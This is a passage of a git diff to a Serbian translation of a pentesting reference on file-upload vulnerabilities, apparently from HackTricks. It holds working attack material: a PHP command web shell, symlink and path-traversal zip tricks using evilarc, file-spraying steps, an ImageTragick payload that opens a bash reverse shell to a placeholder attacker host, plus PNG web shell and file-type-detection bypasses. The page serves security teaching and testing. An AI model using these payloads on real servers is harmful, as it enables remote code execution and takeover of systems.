+- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
+- Specijalno oblikovani PDF-ovi za XSS: [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Ako možeš upload-ovati PDF-ove, mogao bi pripremiti PDF koji će izvršiti proizvoljan JS prateći date instrukcije.
+- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content da proveriš da li server ima neki **antivirus**
+- Proveri da li postoji neko **size limit** pri uploadu fajlova
+
+Evo top 10 liste stvari koje možeš postići upload-ovanjem (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@ -190,46 +194,47 @@ Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://tw
 6. **AVI**: LFI / SSRF
 7. **HTML / JS** : HTML injection / XSS / Open redirect
 8. **PNG / JPEG**: Pixel flood attack (DoS)
-9. **ZIP**: RCE putem LFI / DoS
+9. **ZIP**: RCE via LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE

-#### Burp Ekstenzija
+#### Burp Extension
+

 {{#ref}}
 https://github.com/portswigger/upload-scanner
 {{#endref}}

-## Magični Header Bajtovi
+## Magic Header Bytes

 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG**: `"\xff\xd8\xff"`

-Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za druge tipove datoteka.
+Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.

-## Zip/Tar datoteka automatski dekompresovana upload
+## Zip/Tar File Automatically decompressed Upload

-Ako možete da učitate ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
+Ako možeš upload-ovati ZIP koji će biti dekompresovan na serveru, možeš uraditi 2 stvari:

 ### Symlink

-Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
+Upload-uj arhivu koja sadrži soft linkove ka drugim fajlovima; pristupanjem dekompresovanim fajlovima ćeš dobiti pristup linkovanim fajlovima:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### Decompress in different folders
+### Dekompresovanje u različite direktorijume

-Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
+Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Iako se na prvi pogled može pretpostaviti da ovakvo podešavanje štiti od izvršavanja OS-level komandi putem zlonamernih upload-ovanih fajlova, hijerarhijska podrška za kompresovane arhive i mogućnosti directory traversal u ZIP archive format-u mogu se iskoristiti. To napadačima omogućava da zaobiđu ograničenja i pobegnu iz sigurnih direktorijuma za upload manipulacijom funkcije dekompresije ciljne aplikacije.

-Automatizovani exploit za kreiranje takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti kao što je prikazano:
+Automatizovani exploit za kreiranje takvih fajlova dostupan je na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Pored toga, **symlink trik sa evilarc** je opcija. Ako je cilj ciljati datoteku kao što je `/flag.txt`, treba kreirati symlink ka toj datoteci u vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.
+Dodatno, **symlink trick with evilarc** je opcija. Ako je cilj da se targetuje fajl kao što je `/flag.txt`, treba kreirati symlink ka tom fajlu na vašem sistemu. To obezbeđuje da evilarc ne naiđe na greške tokom svog rada.

 Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:
 ```python
@ -251,9 +256,9 @@ create_zip()
 ```
 **Zloupotreba kompresije za file spraying**

-Za više detalja **proverite originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Za dodatne informacije **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

-1.  **Kreiranje PHP Shell-a**: PHP kod je napisan da izvršava komande prosleđene kroz `$_REQUEST` promenljivu.
+1.  **Kreiranje PHP Shell-a**: PHP kod koji izvršava komande prosleđene kroz promenljivu `$_REQUEST`.

 ```php
 <?php
@ -263,14 +268,14 @@ system($cmd);
 }?>
 ```

-2.  **File Spraying i kreiranje komprimovanih fajlova**: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži te fajlove.
+2.  **File Spraying i kreiranje kompresovanog fajla**: Kreira se više fajlova i sastavlja se zip arhiva koja sadrži te fajlove.

 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```

-3.  **Izmena pomoću Hex Editora ili vi**: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" za prelazak između direktorijuma.
+3.  **Izmena pomoću Hex Editora ili vi**: Nazivi fajlova unutar zip-a se menjaju pomoću vi ili hex editora, zamenjujući "xxA" sa "../" radi traversiranja direktorijuma.

 ```bash
 :set modifiable
@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php

 ## ImageTragic

-Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (formirajte [eksploit](https://www.exploit-db.com/exploits/39767))
+Otpremite ovaj sadržaj sa image ekstenzijom da biste iskoristili ranjivost **(ImageMagick, 7.0.1-1)** (pogledajte [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Ugradnja PHP Shell-a u PNG
+## Ubacivanje PHP shell-a u PNG

-Ugradnja PHP shell-a u IDAT deo PNG fajla može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugradnog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
+Ubacivanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, pošto se obično koriste za promenu veličine i resampling slika. Sposobnost ugrađenog PHP shell-a da ostane neizmenjen nakon ovih operacija predstavlja značajnu prednost u određenim slučajevima upotrebe.

-Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
+Detaljna analiza ove tehnike, uključujući metodologiju i potencijalne primene, predstavljena je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj izvor pruža sveobuhvatno razumevanje procesa i njegovih implikacija.

-Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
+More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

-## Poliglot fajlovi
+## Polyglot fajlovi

-Poliglot fajlovi služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
+Polyglot fajlovi predstavljaju jedinstven alat u sajber bezbednosti, ponašajući se kao kameleon koji može istovremeno validno postojati u više formata fajlova. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.

-Osnovna korisnost poliglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje skeniraju fajlove na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar fajlovi). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova fajlova, može neprimetno zaobići ova ograničenja.
+Osnovna upotrebljivost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje proveravaju fajlove na osnovu tipa. Uobičajena praksa u mnogim aplikacijama je dozvoljavanje samo određenih tipova fajlova za upload — poput JPEG, GIF ili DOC — kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više tipova fajlova, može tiho zaobići ova ograničenja.

-I pored svoje prilagodljivosti, poliglotima se susreću ograničenja. Na primer, dok poliglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija fajlova platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poligota možda neće biti dovoljna da garantuje njegov upload.
+Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, iako polyglot može istovremeno sadržati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politike platforme u vezi sa ekstenzijama fajlova. Ako je sistem strogo ograničen po pitanju dozvoljenih ekstenzija, sama strukturna dvojnica polyglota možda neće biti dovoljna da garantuje njegov upload.

-Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

-### Upload validnih JSON-a kao da je PDF
+### Otpremanje validnih JSON fajlova kao da su PDF

-Kako izbeći detekciju tipa fajla upload-ovanjem validnog JSON fajla čak i ako nije dozvoljeno, pretvarajući ga u PDF fajl (tehnike iz **[ovog blog posta](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Kako izbeći detekciju tipa fajla tako što ćete otpremiti validan JSON fajl čak i ako nije dozvoljen, falsifikujući ga kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):

- **`mmmagic` biblioteka**: Sve dok su `%PDF` magične bajtove u prvih 1024 bajta, to je validno (uzmi primer iz posta)
- **`pdflib` biblioteka**: Dodaj lažni PDF format unutar polja JSON-a tako da biblioteka misli da je to pdf (uzmi primer iz posta)
- **`file` binarni**: Može pročitati do 1048576 bajta iz fajla. Samo kreiraj JSON veći od toga tako da ne može da analizira sadržaj kao json, a zatim unutar JSON-a stavi početni deo pravog PDF-a i misliće da je to PDF
+- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
+- **`pdflib` library**: Dodajte lažni PDF format unutar jednog polja JSON-a tako da biblioteka pomisli da je u pitanju PDF (pogledati primer u postu)
+- **`file` binary**: Može pročitati do 1048576 bajtova iz fajla. Jednostavno napravite JSON veći od toga tako da ne može da parsira sadržaj kao JSON, a zatim unutar JSON-a stavite početni deo pravog PDF-a i on će pomisliti da je PDF

-## Reference
+## References

 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +327,6 @@ Kako izbeći detekciju tipa fajla upload-ovanjem validnog JSON fajla čak i ako
 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

 {{#include ../../banners/hacktricks-training.md}}